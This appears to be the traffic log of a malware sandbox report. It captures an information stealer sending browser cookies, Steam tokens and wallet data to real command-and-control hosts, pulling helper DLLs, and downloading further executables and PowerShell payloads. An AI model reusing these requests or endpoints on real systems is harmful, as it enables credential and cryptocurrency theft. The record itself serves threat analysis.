Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="message"plugins------JJDBGDHIIDAEBFHJJDBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="message"fplugins------EBAFBGIDHCBFHIECFCBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBFHost: 185.215.113.206Content-Length: 6611Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 2d 2d 0d 0a Data Ascii: ------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KJDGDBFBGIDGIEBGHCGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAEHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 2d 2d 0d 0a Data Ascii: ------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file"------HDBKFHIJKJKECAAAECAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file"------IJKFHIIEHIEGDHJJJKFI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHIJKJKFIDHJKFBGHCHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="message"wallets------AECFCAAECBGDGDHIEHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDHHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="message"files------JJJEBGDAFHJEBGDGIJDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGIJEGDBFHDGCAFCAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 2d 2d 0d 0a Data Ascii: ------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="file"------JJEGIJEGDBFHDGCAFCAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDHIIJKEBGHJJKFIDAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 2d 2d 0d 0a Data Ascii: ------CGIDHIIJKEBGHJJKFIDAContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------CGIDHIIJKEBGHJJKFIDAContent-Disposition: form-data; name="message"ybncbhylepme------CGIDHIIJKEBGHJJKFIDA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBKKKFHCFIDHIECGCAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBKKKFHCFIDHIECGCAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008563001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/CC%20[server].html HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 38 35 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1008564001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/gok44.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 36 39 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008569041&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 37 30 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008570041&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/aZhXvFT.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 37 31 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008571041&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/vtF7qZo.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 37 32 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008572041&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/6OMLg7r.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------WsagnpmDq1gZuFa7TyTKY2Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 57 73 61 67 6e 70 6d 44 71 31 67 5a 75 46 61 37 54 79 54 4b 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 61 63 65 76 75 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a fe 4a b1 40 9e cf a2 db b6 c6 b2 f4 36 c8 05 a1 f3 cb 86 2f e3 c4 82 8a 3e 30 10 d4 ac 6a 0c 28 e9 a0 fc ef f9 79 50 77 6e f6 2a e0 c7 b0 d1 1d 92 97 11 c6 91 28 e2 